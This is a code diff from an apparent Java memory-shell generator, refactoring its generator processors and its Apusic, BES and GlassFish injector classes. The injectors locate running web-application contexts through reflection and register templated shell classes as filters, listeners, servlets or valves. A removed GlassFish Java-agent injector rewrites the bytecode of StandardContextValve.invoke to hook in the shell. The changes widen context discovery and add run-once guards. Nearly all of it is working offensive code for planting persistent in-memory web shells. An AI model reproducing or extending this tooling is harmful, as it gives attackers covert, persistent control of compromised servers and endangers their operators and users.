-                                               TypeDescription typeDefinition, String newClassName) {
+    @Override
+    public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        String shellType = shellConfig.getShellType();
+        if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
+            AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
+            String shellClassName = shellToolConfig.getShellClassName();
+            builder = modifier(builder,
+                    server.getListenerInterceptor(),
+                    shellToolConfig.getShellTypeDescription(),
+                    shellClassName);
+        }
+        return builder;
+    }
+
+    public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, Class<?> implInterceptor,
+                                                  TypeDescription typeDefinition, String newClassName) {
         MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
 
         if (methods.filter(ElementMatchers.named("getResponseFromRequest")

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ShrinkPostProcessor.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.memshell.generator.processors;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public class ShrinkPostProcessor implements Processor<byte[]> {
+
+    @Override
+    public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ValveBuilderModifier.java

@@ -1,6 +1,11 @@
-package com.reajason.javaweb.memshell.generator;
+package com.reajason.javaweb.memshell.generator.processors;
 
 import com.reajason.javaweb.GenerationException;
+import com.reajason.javaweb.memshell.ServerFactory;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
 import com.reajason.javaweb.memshell.server.AbstractServer;
 import com.reajason.javaweb.memshell.server.Bes;
 import com.reajason.javaweb.memshell.server.TongWeb;
@@ -12,6 +17,7 @@ import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.Implementation;
 import net.bytebuddy.jar.asm.ClassVisitor;
+import net.bytebuddy.jar.asm.Opcodes;
 import net.bytebuddy.jar.asm.commons.ClassRemapper;
 import net.bytebuddy.jar.asm.commons.Remapper;
 import net.bytebuddy.pool.TypePool;
@@ -20,9 +26,19 @@ import org.jetbrains.annotations.NotNull;
 
 /**
  * @author ReaJason
- * @since 2025/2/22
+ * @since 2025/12/7
  */
-public class ValveGenerator {
+public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
+
+    @Override
+    public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        String shellType = shellConfig.getShellType();
+        AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
+        if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
+            builder = modifier(builder, server, shellConfig.getServerVersion());
+        }
+        return builder;
+    }
 
     public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
     public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
@@ -30,9 +46,15 @@ public class ValveGenerator {
     public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
     public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
 
-    public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
+    public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
         String packageName = null;
-        if (serverVersion != null) {
+        if (shell instanceof Bes) {
+            packageName = BES_VALVE_PACKAGE;
+        }
+        if (shell instanceof TongWeb) {
+            if (serverVersion == null) {
+                throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
+            }
             switch (serverVersion) {
                 case "6":
                     packageName = TONGWEB6_VALVE_PACKAGE;
@@ -43,18 +65,14 @@ public class ValveGenerator {
                 case "8":
                     packageName = TONGWEB8_VALVE_PACKAGE;
                     break;
+                default:
+                    throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
             }
         }
-        if (shell instanceof Bes) {
-            packageName = BES_VALVE_PACKAGE;
+        if (StringUtils.isNotBlank(packageName)) {
+            return builder.visit(new ValveRenameVisitorWrapper(packageName));
         }
-        if (StringUtils.isEmpty(packageName)) {
-            if (shell instanceof TongWeb) {
-                throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
-            }
-            return builder;
-        }
-        return builder.visit(new ValveRenameVisitorWrapper(packageName));
+        return builder;
     }
 
     public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
@@ -86,7 +104,7 @@ public class ValveGenerator {
                                  int readerFlags) {
             return new ClassRemapper(
                     classVisitor,
-                    new Remapper() {
+                    new Remapper(Opcodes.ASM9) {
                         @Override
                         public String map(String typeName) {
                             String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

@@ -7,8 +7,8 @@ import java.io.PrintStream;
 import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
+import java.util.HashSet;
+import java.util.LinkedHashSet;
 import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -19,7 +19,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class ApusicFilterInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -34,16 +35,21 @@ public class ApusicFilterInjector {
     }
 
     public ApusicFilterInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -52,6 +58,7 @@ public class ApusicFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -74,11 +81,11 @@ public class ApusicFilterInjector {
 
     /**
      * context: com.apusic.web.container.WebContainer
-     * context -> webapp: com.apusic.deploy.runtime.WebModule
+     * context - webapp: com.apusic.deploy.runtime.WebModule
      * /usr/local/ass/lib/apusic.jar
      */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("HouseKeeper")) {
@@ -139,7 +146,12 @@ public class ApusicFilterInjector {
         Object filterMapping = filterMappingClass.newInstance();
         invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
-        invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
+        LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
+        LinkedHashSet newSet = new LinkedHashSet();
+        newSet.add(filterMapping);
+        newSet.addAll(beforeFilterMappings);
+        beforeFilterMappings.clear();
+        beforeFilterMappings.addAll(newSet);
 
         // addFilterModel
         invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -212,30 +224,25 @@ public class ApusicFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

@@ -6,10 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -18,7 +15,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class ApusicListenerInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -33,24 +31,30 @@ public class ApusicListenerInjector {
     }
 
     public ApusicListenerInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
-                    msg += "[/*] ready\n";
+                    msg += "[" + getUrlPattern() + "] ready\n";
                 } catch (Throwable e) {
                     msg += "failed " + getErrorMessage(e) + "\n";
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -71,8 +75,8 @@ public class ApusicListenerInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("HouseKeeper")) {
@@ -193,30 +197,25 @@ public class ApusicListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

@@ -6,10 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -18,7 +15,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class ApusicServletInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -33,16 +31,21 @@ public class ApusicServletInjector {
     }
 
     public ApusicServletInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -51,6 +54,7 @@ public class ApusicServletInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -71,8 +75,8 @@ public class ApusicServletInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("HouseKeeper")) {
@@ -194,30 +198,25 @@ public class ApusicServletInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java

@@ -15,7 +15,8 @@ import java.util.zip.GZIPInputStream;
  * @author ReaJason
  */
 public class BesFilterInjector {
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class BesFilterInjector {
     }
 
     public BesFilterInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class BesFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -55,7 +62,7 @@ public class BesFilterInjector {
     private String getContextRoot(Object context) {
         String r = null;
         try {
-            r = (String) invokeMethod(context, "getContextPath", null, null);
+            r = (String) getFieldValue(context, "encodedPath");
         } catch (Exception ignored) {
         }
         String c = context.getClass().getName();
@@ -72,8 +79,8 @@ public class BesFilterInjector {
      * com.bes.enterprise.webtier.core.DefaultContext
      * /opt/bes/lib/bes-engine.jar
      */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -83,12 +90,22 @@ public class BesFilterInjector {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
             }
         }
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -201,30 +218,25 @@ public class BesFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

@@ -15,7 +15,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class BesListenerInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -26,16 +27,21 @@ public class BesListenerInjector {
     }
 
     public BesListenerInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -44,6 +50,7 @@ public class BesListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -51,7 +58,7 @@ public class BesListenerInjector {
     private String getContextRoot(Object context) {
         String r = null;
         try {
-            r = (String) invokeMethod(context, "getContextPath", null, null);
+            r = (String) getFieldValue(context, "encodedPath");
         } catch (Exception ignored) {
         }
         String c = context.getClass().getName();
@@ -64,8 +71,8 @@ public class BesListenerInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -75,6 +82,16 @@ public class BesListenerInjector {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
             }
         }
         return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java

@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class BesValveInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -25,16 +26,21 @@ public class BesValveInjector {
     }
 
     public BesValveInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class BesValveInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -50,7 +57,7 @@ public class BesValveInjector {
     private String getContextRoot(Object context) {
         String r = null;
         try {
-            r = (String) invokeMethod(context, "getContextPath", null, null);
+            r = (String) getFieldValue(context, "encodedPath");
         } catch (Exception ignored) {
         }
         String c = context.getClass().getName();
@@ -63,8 +70,8 @@ public class BesValveInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -74,6 +81,16 @@ public class BesValveInjector {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
             }
         }
         return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java

@@ -1,215 +0,0 @@
-package com.reajason.javaweb.memshell.injector.glassfish;
-
-import org.objectweb.asm.*;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.lang.instrument.ClassFileTransformer;
-import java.lang.instrument.Instrumentation;
-import java.security.ProtectionDomain;
-import java.util.zip.GZIPInputStream;
-
-/**
- * @author ReaJason
- * @since 2025/3/26
- */
-public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
-    private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
-    private static final String TARGET_METHOD_NAME = "invoke";
-
-    public static String getClassName() {
-        return "{{advisorName}}";
-    }
-
-    public static String getBase64String() {
-        return "{{base64String}}";
-    }
-
-    public static void premain(String args, Instrumentation inst) throws Exception {
-        launch(inst);
-    }
-
-    public static void agentmain(String args, Instrumentation inst) throws Exception {
-        launch(inst);
-    }
-
-    private static void launch(Instrumentation inst) throws Exception {
-        System.out.println("MemShell Agent is starting");
-        inst.addTransformer(new GlassFishContextValveAgentInjector(), true);
-        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
-            String name = allLoadedClass.getName();
-            if (TARGET_CLASS.replace("/", ".").equals(name)) {
-                inst.retransformClasses(allLoadedClass);
-            }
-        }
-    }
-
-    @Override
-    @SuppressWarnings("all")
-    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
-                            ProtectionDomain protectionDomain, byte[] bytes) {
-        if (TARGET_CLASS.equals(className)) {
-            defineTargetClass(loader);
-            try {
-                ClassReader cr = new ClassReader(bytes);
-                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
-                    @Override
-                    protected ClassLoader getClassLoader() {
-                        return loader;
-                    }
-                };
-                ClassVisitor cv = getClassVisitor(cw);
-                cr.accept(cv, ClassReader.EXPAND_FRAMES);
-                System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
-                return cw.toByteArray();
-            } catch (Throwable e) {
-                e.printStackTrace();
-            }
-        }
-        return bytes;
-    }
-
-    @SuppressWarnings("all")
-    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
-        return new ClassVisitor(Opcodes.ASM9, cv) {
-            @Override
-            public MethodVisitor visitMethod(int access, String name, String descriptor,
-                                             String signature, String[] exceptions) {
-                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
-                if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
-                    Type[] argumentTypes = Type.getArgumentTypes(descriptor);
-                    return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
-                }
-                return mv;
-            }
-        };
-    }
-
-    public static class AgentShellMethodVisitor extends MethodVisitor {
-        private final Type[] argumentTypes;
-        private final String className;
-
-        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
-            super(Opcodes.ASM9, mv);
-            this.argumentTypes = argTypes;
-            this.className = className;
-        }
-
-        @Override
-        public void visitCode() {
-            loadArgArray();
-            Label tryStart = new Label();
-            Label tryEnd = new Label();
-            Label catchHandler = new Label();
-            Label ifConditionFalse = new Label();
-            Label skipCatchBlock = new Label();
-            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
-
-            mv.visitLabel(tryStart);
-            String internalClassName = className.replace('.', '/');
-            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
-            mv.visitInsn(Opcodes.DUP);
-            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
-            mv.visitInsn(Opcodes.SWAP);
-            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
-                    "java/lang/Object",
-                    "equals",
-                    "(Ljava/lang/Object;)Z",
-                    false);
-            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
-            mv.visitInsn(Opcodes.RETURN);
-            mv.visitLabel(ifConditionFalse);
-            mv.visitLabel(tryEnd);
-            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
-            mv.visitLabel(catchHandler);
-            mv.visitInsn(Opcodes.POP);
-            mv.visitLabel(skipCatchBlock);
-        }
-
-        public void loadArgArray() {
-            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
-            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
-            for (int i = 0; i < argumentTypes.length; i++) {
-                mv.visitInsn(Opcodes.DUP);
-                push(i);
-                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
